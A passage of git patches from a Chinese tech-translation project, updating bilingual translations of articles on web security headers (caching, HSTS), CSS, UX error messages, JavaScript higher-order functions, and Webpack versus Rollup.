+> For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the `Cache-Control` header mentioned above. Use `Pragma: no-cache` to ensure that these older clients do not cache your response.
+
+为了与 HTTP 1.0 的向后兼容性，你还需要包含此响应头。有部分客户端，特别是中间代理，可能仍然没有完全支持 HTTP 1.1，所以不能正确处理前面提到的 `Cache-Control` 响应头，所以使用 `Pragma: no-cache` 确保较旧的客户端不缓存你的响应。
 
 - `Expires: -1`
 
-This header specifies a timestamp after which the response is considered stale. By specifying `-1`, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.
+> This header specifies a timestamp after which the response is considered stale. By specifying `-1`, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.
 
-Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading [Jake Archibald’s post](https://jakearchibald.com/2016/caching-best-practices/) on the subject.
+此标头指定了该响应过时的时间戳。如果不指定为未来某个真实时间而指定为 `-1`，可以保证客户端立即将此响应视为过时并避免缓存。
 
-Here’s how you would program these headers in Node.js:
+> Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading [Jake Archibald’s post](https://jakearchibald.com/2016/caching-best-practices/) on the subject.
 
-```
+需要注意的是，禁用缓存提高安全性及保护机密资源的同时，也的确会带来性能上的折损。所以确保仅对实际需要保密性的资源禁用缓存，而不是对任何服务器的响应禁用。想要更深入了解 web 资源缓存的最佳实践，我推荐阅读 [Jake Archibald 的文章](https://jakearchibald.com/2016/caching-best-practices/)。
+
+> Here’s how you would program these headers in Node.js:
+
+下面是 Node.js 中设置响应头的示例代码：
+
+```javascript
 function requestHandler(req, res) {
 	res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
 	res.setHeader('Pragma','no-cache');
@@ -70,37 +89,58 @@ function requestHandler(req, res) {
 }
 ```
 
-### Enforcing HTTPS ###
+### 强制 HTTPS ###
 
-Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!
+> Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!
 
-The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.
+今天，HTTPS 的重要性已经得到了科技界的广泛认可。越来越多的 web 应用配置了安全端点，并将不安全网路重定向到安全端点（即 HTTP 重定向至 HTTPS）。不幸的是，终端用户还未完全理解 HTTPS 的重要性，这种缺乏理解使他们面临着各种中间人攻击（MitM）。典型的用户访问到一个 web 应用时，并不会注意到正在使用的网络协议是安全的（HTTPS）还是不安全的（HTTP）。
 
-How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in [RFC 6797](https://tools.ietf.org/html/rfc6797), HSTS enables a web app to instruct browsers to allow *only* HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.
+> The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.
 
-HSTS directives include the following:
+通过有效的 HTTPS 连接与 web 应用进行交互的重要性怎么说都不算夸大：不安全的连接将用户暴露给各种攻击，这可能导致 cookie 被盗甚至更糟。举个例子，攻击者可以轻易在公共 Wi-Fi 网络下骗过网络帧并提起不使用 HTTPS 的用户的会话 cookie。更糟的情况是，即使用户通过安全连接与 web 永盈进行交互也可能遭受降级攻击，这种攻击试图强制将连接降级到不安全的连接，从而是用户收到中间人攻击。
+
+> How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in [RFC 6797](https://tools.ietf.org/html/rfc6797), HSTS enables a web app to instruct browsers to allow *only* HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.
+
+我们如何帮助用户避免这些攻击，并更好地实施 HTTPS 的使用呢？使用 HTTP 严格传输安全头（HSTS）。简单来说，HSTS 确保与源主机间的所有通信都使用 HTTPS。[RFC 6797](https://tools.ietf.org/html/rfc6797) 中说明了，HSTS可以使 web 应用程序指示浏览器仅允许与源主机之间的 HTTPS 连接，将所有不安全的连接内部重定向到安全连接，并自动将所有不安全的资源请求升级为安全请求。
+
+> HSTS directives include the following:
+
+HSTS 的指令如下：
 
 - `max-age=<number of seconds>`
 
-This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
+>This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
+
+此项指示浏览器对此域缓存此响应头指定的秒数。这样可以保证长时间的加固安全。
 
 - `includeSubDomains`
 
-This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
+>This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
+
+此项指示浏览器对当前域的所有子域应用 HSTS，这可以用于覆盖你可能有的所有当前和未来的子域。
 
 - `preload`
 
-This is a powerful directive that forces browsers to *always* load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with [HSTS Preload List Submission](https://hstspreload.org), a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.
+> This is a powerful directive that forces browsers to *always* load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with [HSTS Preload List Submission](https://hstspreload.org), a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.
 
-A word of caution: using the `preload` directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!
+这是一个强大的指令，强制浏览器始终安全加载你的 web 应用程序，即使是第一次收到响应之前加载！这是通过将启用 HSTS 预加载域的列表硬编码到浏览器的代码中实现的。要启用预加载功能，你需要在 Google Chrome 团队维护的网站 [HSTS 预加载列表提交](https://hstspreload.org)注册你的域。
 
-My recommendation is to use `Strict-Transport-Security: max-age=31536000; includeSubDomains;` which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the `preload` directive, in which case don’t forget to register your website on the preload list as well, as noted above!
+> A word of caution: using the `preload` directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!
 
-Here’s what implementing HSTS looks like in Node.js:
+注意谨慎使用 `preload`，因为这意味着它不能轻易撤销，并带有几个月前的更新。虽然预加载肯定会应用程序的安全性，但也意味着你需要充分确信你的应用程序可以支持仅 HTTPS！
 
-```
-functionrequestHandler(req, res){
-	res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');}
+> My recommendation is to use `Strict-Transport-Security: max-age=31536000; includeSubDomains;` which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the `preload` directive, in which case don’t forget to register your website on the preload list as well, as noted above!
+
+我推荐的用法是 `Strict-Transport-Security: max-age=31536000; includeSubDomains;`，这样指示了浏览器强制通过 HTTPS 连接到源主机并且有效期为一年。如果你对你的 app 处理 HTTPS 限定很有信心，我也推荐加上 `preload` 指令，当然别忘记去前面提到的预加载列表注册你的网站。
+
+> Here’s what implementing HSTS looks like in Node.js:
+
+以下是在 Nodes.js 中实现 HSTS 的方法：
+
+```javascript
+function requestHandler(req, res){
+	res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');
+}
 ```
 
 ### Enabling XSS Filtering ###
@@ -248,7 +288,6 @@ Remember that for the web to be truly awesome and engaging, it has to be secure.
 
 *Front page image credits: [Pexels.com](https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/).*
 
-
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 535f0275fb15aac1dd4b5def4cd27bfc3362d470 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 12 Apr 2017 10:15:25 +0800
Subject: [PATCH 120/638] Update css-is-fine-its-just-really-hard.md

---
 TODO/css-is-fine-its-just-really-hard.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/css-is-fine-its-just-really-hard.md b/TODO/css-is-fine-its-just-really-hard.md
index 423250fcfb8..20cb8558bcd 100644
--- a/TODO/css-is-fine-its-just-really-hard.md
+++ b/TODO/css-is-fine-its-just-really-hard.md
@@ -1,5 +1,5 @@
 > * 原文地址：[CSS is Fine, It’s Just Really Hard](https://medium.com/@jdan/css-is-fine-its-just-really-hard-638da7a3dce0)
-> * 原文作者：[Jordan Scales](https://medium.com/@jdan)
+> * 原文作者：该文章已获原作者 [Jordan Scales](https://medium.com/@jdan) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： [ZhangFe](https://github.com/ZhangFe)
 > * 校对者：[bambooom](https://github.com/bambooom)，[gy134340](https://github.com/gy134340)

From 88f2c4e5960ea4f8351d8095b3f71418d5346a7e Mon Sep 17 00:00:00 2001
From: ivyxuan <iloveivyxuan@gmail.com>
Date: Wed, 12 Apr 2017 10:45:39 +0800
Subject: [PATCH 121/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E9=94=99=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/the-details-that-matter.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/the-details-that-matter.md b/TODO/the-details-that-matter.md
index b4ccfb5d9f8..69114a7588b 100644
--- a/TODO/the-details-that-matter.md
+++ b/TODO/the-details-that-matter.md
@@ -80,7 +80,7 @@ Airbnb 的提示听起来像人说的话而且语气还很随和。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*1EESYQmM9pt_SScMmgQqEg.png">
 
-**像“出错啦”这种警告对所有的用户都会造成困扰，而且还会惹恼专家级用户。**但是，一个精心设计过的错误信息，会顿时化失望为欣喜。所以，把报错变得人性化、不用技术性的语言并且适合你的用户群体。
+**像“出错啦”这种警告对所有的用户都会造成困扰，而且还会惹恼专家级用户。** 但是，一个精心设计过的错误信息，会顿时化失望为欣喜。所以，把报错变得人性化、不用技术性的语言并且适合你的用户群体。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*gX0GBH3BM_d_yjhk8Yvlaw.png">
 
@@ -100,7 +100,7 @@ Airbnb 的提示听起来像人说的话而且语气还很随和。
 
 #### 让用户界面更容易理解 ####
 
-**杂乱的堆砌是很糟糕的一件事情。**在界面上杂乱堆砌元素会给用户带来过多的信息：每一个被添加的按钮、图片和文字都会让界面显得更加复杂。如果你不想你的设计有任何刻意的留白的话，下面这个例子就能很明白的告诉你，有太多东西一起吸引你的注意力是多么可怕的事情。
+**杂乱的堆砌是很糟糕的一件事情。** 在界面上杂乱堆砌元素会给用户带来过多的信息：每一个被添加的按钮、图片和文字都会让界面显得更加复杂。如果你不想你的设计有任何刻意的留白的话，下面这个例子就能很明白的告诉你，有太多东西一起吸引你的注意力是多么可怕的事情。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*nzZwU1-KnaFrSpzMl04dWg.png">
 

From 6e460df0aceb6017d65043c6bdcf1042bbce31bc Mon Sep 17 00:00:00 2001
From: reid <geniusreid@163.com>
Date: Wed, 12 Apr 2017 11:55:31 +0800
Subject: [PATCH 122/638] =?UTF-8?q?=E5=AE=8C=E6=88=90=E7=BF=BB=E8=AF=91?=
 =?UTF-8?q?=E5=88=9D=E7=A8=BF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...gher-order-functions-composing-software.md | 89 +++++++++----------
 1 file changed, 44 insertions(+), 45 deletions(-)

diff --git a/TODO/higher-order-functions-composing-software.md b/TODO/higher-order-functions-composing-software.md
index aa432f1141e..67336f3fd47 100644
--- a/TODO/higher-order-functions-composing-software.md
+++ b/TODO/higher-order-functions-composing-software.md
@@ -1,22 +1,22 @@
-> * 原文地址：[Higher Order Functions (Composing Software)(part 4)](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99)
-> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
-> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> *   原文地址：[Higher Order Functions (Composing Software)(part 4)](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99)
+> *   原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
+> *   译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> *   译者：[reid3290](https://github.com/reid3290)
+> *   校对者：
 
-# Higher Order Functions (Composing Software) #
+# 高阶函数（软件编写）（第四部分） #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
-> Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
-> [< Previous](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.gof8dsqh9) | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [Next >](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d) 
+Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）
+> 注意：这是“软件编写”系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
+> [< 上一篇](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.gof8dsqh9) | [<< 第一篇](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [下一篇 >](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d) 
 
-A **higher order function** is a function that takes a function as an argument, or returns a function. Higher order function is in contrast to first order functions, which don’t take a function as an argument or return a function as output.
+**高阶函数**是一种接收一个函数作为输入或输出一个函数的函数（译注：参见维基百科[高阶函数](https://zh.wikipedia.org/wiki/%E9%AB%98%E9%98%B6%E5%87%BD%E6%95%B0)），这是和一阶函数截然不同的。
 
-Earlier we saw examples of `.map()` and `.filter()`. Both of them take a function as an argument. They're both higher order functions.
+之前我们看到的 `.map()` 和 `.filter()` 都是高阶函数 —— 它们都接受一个函数作为参数，
 
-Let’s look at an example of a first-order function which filters all the 4-letter words from a list of words:
+先来看个一阶函数的例子，该函数会将单词数组中 4 个字母的单词过滤掉：
 
 ```
 const censor = words => {
@@ -32,7 +32,7 @@ censor(['oops', 'gasp', 'shout', 'sun']);
 // [ 'shout', 'sun' ]
 ```
 
-Now what if we want to select all the words that begin with ‘s’? We could create another function:
+如果又要选择出所有以 's' 开头的单词呢？可以再定义一个函数：
 
 ```
 const startsWithS = words => {
@@ -48,29 +48,29 @@ startsWithS(['oops', 'gasp', 'shout', 'sun']);
 // [ 'shout', 'sun' ]
 ```
 
-You may already be recognizing a lot of repeated code. There’s a pattern forming here that could be abstracted into a more generalized solution. These two functions have a whole lot in common. They both iterate over a list and filter it on a given condition.
+显然可以看出这里面有很多重复的代码，这两个函数的主体是相同的 —— 都是遍历一个数组并根据给定的条件进行过滤。这便形成了一种特定的模式，可以从中抽象出更为通用的解决方案。
 
-Both the iteration and the filtering seem like they’re begging to be abstracted so they can be shared and reused to build all sorts of similar functions. After all, selecting things from lists of things is a very common task.
+不难看出， “遍历”和“过滤”都是亟待抽象出来的，以便分享和复用到其他所有类似的函数中去。毕竟，从数组中选取某些特定元素是很常见的需求。
 
-Luckily for us, JavaScript has first class functions. What does that mean? Just like numbers, strings, or objects, functions can be:
+幸运的是，函数是 JavaScript 中的一等公民，就像数字、字符串和对象一样，函数可以：
 
-- Assigned as an identifier (variable) value
-- Assigned to object property values
-- Passed as arguments
-- Returned from functions
+- 像变量一样赋值给其他变量
+- 作为对象的属性值
+- 作为参数进行传递
+- 作为函数的返回值
 
-Basically, we can use functions just like any other bits of data in our programs, and that makes abstraction a lot easier. For instance, we can create a function that abstracts the process of iterating over a list an accumulating a return value by passing in a function that handles *the bits that are different.* We’ll call that function the *reducer:*
+函数基本上可以像其他任何数据类型一样被使用，这点使得“抽象”容易了许多。例如，可以定义一种函数，将遍历数组并累计出一个返回值的过程抽象出来，该函数接收一个函数作为参数来决定具体的**累计**过程，不妨将此函数称为 **reducer**：
 
 ```
 const reduce = (reducer, initial, arr) => {
-  // shared stuff
+  // 共享的
   let acc = initial;
   for (let i = 0, length = arr.length; i < length; i++) {
 
-    // unique stuff in reducer() call
+    // 独特的
     acc = reducer(acc, arr[i]);
 
-  // more shared stuff
+  // 又是共享的
   }
   return acc;
 };
@@ -78,14 +78,14 @@ const reduce = (reducer, initial, arr) => {
 reduce((acc, curr) => acc + curr, 0, [1,2,3]); // 6
 ```
 
-This `reduce()` implementation takes a reducer function, an initial value for the accumulator, and an array of data to iterate over. For each item in the array, the reducer is called, passing it the accumulator and the current array element. The return value is assigned to the accumulator. When it's finished applying the reducer to all of the values in the list, the accumulated value is returned.
+该 `reduce()` 接受 3 个参数：一个 reducer 函数、一个累计的初始值和一个用于遍历的数组。对数组中的每个元素都会调用 reducer，传入累计器和当前数组元素，返回值又会赋给累计器。对数组中的所有元素都执行过 reducer 之后，返回最终的累计结果。
 
-In the usage example, we call reduce and pass it the function, `(acc, curr) => acc + curr`, which takes the accumulator and the current value in the list and returns a new accumulated value. Next we pass an initial value, `0`, and finally, the data to iterate over.
+在用例中，调用 `reduce` 并传给它 3 个参数：`reducer` 函数、初始值 0 以及需要遍历的数组。其中 `reducer` 函数以累计器和当前数组元素为参数，返回累计后的结果。
 
-With the iteration and value accumulation abstracted, now we can implement a more generalized `filter()` function:
+如此将遍历和累计的过程抽象出来之后，便可实现更为通用的 `filter()` 函数：
 
 ```
-const filter = (
+ const filter = (
   fn, arr
 ) => reduce((acc, curr) => fn(curr) ?
   acc.concat([curr]) :
@@ -93,11 +93,11 @@ const filter = (
 );
 ```
 
-In the `filter()` function, everything is shared except the `fn()` function that gets passed in as an argument. That `fn()`argument is called a predicate. A **predicate** is a function that returns a boolean value.
+在此 `filter()` 函数中，除了以参数形式传进来的 `fn()` 函数以外，所有代码都是可复用的。其中 `fn()` 参数被称为**断言（predicate）** —— 返回一个布尔值的函数。
 
-We call `fn()` with the current value, and if the `fn(curr)` test returns `true`, we concat the `curr` value to the accumulator array. Otherwise, we just return the current accumulator value.
+将当前值传给 `fn()`，如果 `fn(curr)` 返回 `true`，则将 `curr` 添加到结果数组中并返回之；否则，直接返回当前数组。
 
-Now we can implement `censor()` with `filter()` to filter out 4-letter words:
+现在便可借助 `filter()` 函数来实现过滤 4 字母单词的 `censor()` 函数：
 
 ```
 const censor = words => filter(
@@ -106,20 +106,20 @@ const censor = words => filter(
 );
 ```
 
-Wow! With all the common stuff abstracted out, `censor()` is a tiny function.
+喔！将所有公共代码抽象出来之后，`censor()` 函数便十分简洁了。
 
-And so is `startsWithS()`:
+`startsWithS()` 也是如此：
 
 ```
-const startsWithS = words => filter(
+ const startsWithS = words => filter(
   word => word.startsWith('s'),
   words
 );
 ```
 
-If you’re paying attention, you probably know that JavaScript has already done this abstraction work for us. We have the `Array.prototype` methods, `.reduce()` and `.filter()` and `.map()` and a few more for good measure.
+ 你若稍加留意便会发现 JavaScript 其实已经为我们做了这些抽象，即 `Array.prototype` 的相关方法，例如 `.reduce()`、`.filter()`、`.map()` 等等。
 
-Higher order functions are also commonly used to abstract how to operate on different data types. For instance, `.filter()` doesn't have to operate on arrays of strings. It could just as easily filter numbers, because you can pass in a function that knows how to deal with a different data type. Remember the `highpass()` example?
+ 高阶函数也常常被用于对不同数据类型的操作进行抽象。例如，`.filter()` 函数不一定非得作用于字符串数组。只需传入一个能够处理不同数据类型的函数，`.filter()` 便能过滤数字了。还记得 `highpass` 的例子吗？
 
 ```
 const highpass = cutoff => n => n >= cutoff;
@@ -127,22 +127,21 @@ const gt3 = highpass(3);
 [1, 2, 3, 4].filter(gt3); // [3, 4];
 ```
 
-In other words, you can use higher order functions to make a function polymorphic. As you can see, higher order functions can be a whole lot more reusable and versatile than their first order cousins. Generally speaking, you’ll use higher order functions in combination with very simple first order functions in your real application code.
+换言之，高阶函数可以用来实现函数的多态性。如你所见，相较于一阶函数而言，高阶函数的复用性和通用性非常好。一般来讲，在实际编码中会组合使用高阶函数和一些非常简单的一阶函数。
 
-[**Continue to “Reduce” >**](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)
+[**再续 “Reduce” >**](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)
 
-### Next Steps ###
+### 接下来 ###
 
-Want to learn more about functional programming in JavaScript?
+想学习更多 JavaScript 函数式编程吗？
 
-[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
+[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！
 
-[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
-](https://ericelliottjs.com/product/lifetime-access-pass/) 
+[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">](https://ericelliottjs.com/product/lifetime-access-pass/)
 
-***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly), and *[*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/). He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica**, and many more.
+**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC**等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。
 
-*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。
 
 ---
 

From c38df1b848dcd5e272debf8e17d3d0d99d7c3452 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Wed, 12 Apr 2017 12:57:17 +0800
Subject: [PATCH 123/638] =?UTF-8?q?=E4=BA=8C=E6=A0=A1=E6=84=8F=E8=A7=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/webpack-and-rollup-the-same-but-different.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/webpack-and-rollup-the-same-but-different.md b/TODO/webpack-and-rollup-the-same-but-different.md
index b80a7886547..dd15131dc7b 100644
--- a/TODO/webpack-and-rollup-the-same-but-different.md
+++ b/TODO/webpack-and-rollup-the-same-but-different.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Rich Harris](https://medium.com/@Rich_Harris?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
-> * 校对者：
+> * 校对者：[avocadowang](https://github.com/avocadowang),[Aladdin-ADD](https://github.com/Aladdin-ADD)
 
 # 同中有异的 Webpack 与 Rollup #
 
@@ -18,14 +18,14 @@
 
 Webpack 由 [Tobias Koppers](https://medium.com/@sokra) 在 2012 年创建，用于解决当时的工具不能处理的问题：构建复杂的单页应用（SPA）。尤其是它的两个特点改变了一切：
 
-1. **代码分割**可以将你的 app 分割成许多个容易管理的分块，这些分块能够在用户使用你的 app 时按需加载。这意味着你的用户可以有更快的交互体验。因为访问那些网站必须要等待整个应用都被下载并解析完成。当然，你**也可以**自己手动去进行代码分割，但是……总之，祝你好运。
+1. **代码分割**可以将你的 app 分割成许多个容易管理的分块，这些分块能够在用户使用你的 app 时按需加载。这意味着你的用户可以有更快的交互体验。因为访问那些没有使用代码分割的应用时，必须要等待整个应用都被下载并解析完成。当然，你**也可以**自己手动去进行代码分割，但是……总之，祝你好运。
 2. **静态资源**的导入：图片、CSS 等静态资源可以直接导入到你的 app 中，就和其它的模块、节点一样能够进行依赖管理。因此，我们再也不用小心翼翼地将各个静态文件放在特定的文件夹中，然后再去用脚本给文件 URL 加上哈希串了。Webpack 已经帮你完成了这一切。
 
 而 Rollup 的开发理念则不同：它利用 ES2015 模块的巧妙设计，尽可能高效地构建精简且易分发的 JavaScript 库。而其它的模块打包器（包括 Webpack在内）都是通过将模块分别封装进函数中，然将这些函数通过能在浏览器中实现的 `require` 方法打包，最后依次处理这些函数。在你需要实现按需加载的时候，这种做法非常的方便，但是这样做引入了很多无关代码，比较浪费资源。当[你有很多模块要打包的时候，这种情况会变得更糟糕](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。
 
 ES2015 模块则启用了一种不同的实现方法，Rollup 用的也就是这种方法。所有代码都将被放置在同一个地方，并且会在一起进行处理。因此得到的最终代码相较而言会更加的精简，运行起来自然也就更快。你可以[点击这儿亲自试试 Rollup 交互式解释器（REPL）](https://rollupjs.org/repl)。
 
-但这儿也存在一些需要权衡的点：代码分割是一个很棘手的问题，而 Rollup 并不能做到这一点。同样的，Rollup 也不支持模块热替换（HMR）。而且对于打算使用 Rollup 的人来说，还有一个最大的痛点：它通过[插件](https://github.com/rollup/rollup-plugin-commonjs)处理大多数 CommonJS 文件的时候，一些代码将无法被翻译回 ES2015。而与之相反，你可以把这一切的事全部放心交给 Webpack 去处理。
+但这儿也存在一些需要权衡的点：代码分割是一个很棘手的问题，而 Rollup 并不能做到这一点。同样的，Rollup 也不支持模块热替换（HMR）。而且对于打算使用 Rollup 的人来说，还有一个最大的痛点：它通过[插件](https://github.com/rollup/rollup-plugin-commonjs)处理大多数 CommonJS 文件的时候，一些代码将无法被翻译为 ES2015。而与之相反，你可以把这一切的事全部放心交给 Webpack 去处理。
 
 ### 那么我到底应该选用哪一个呢？ ###
 

From 60d29b02c6319a3063e1f9630a741a3f84261cd2 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
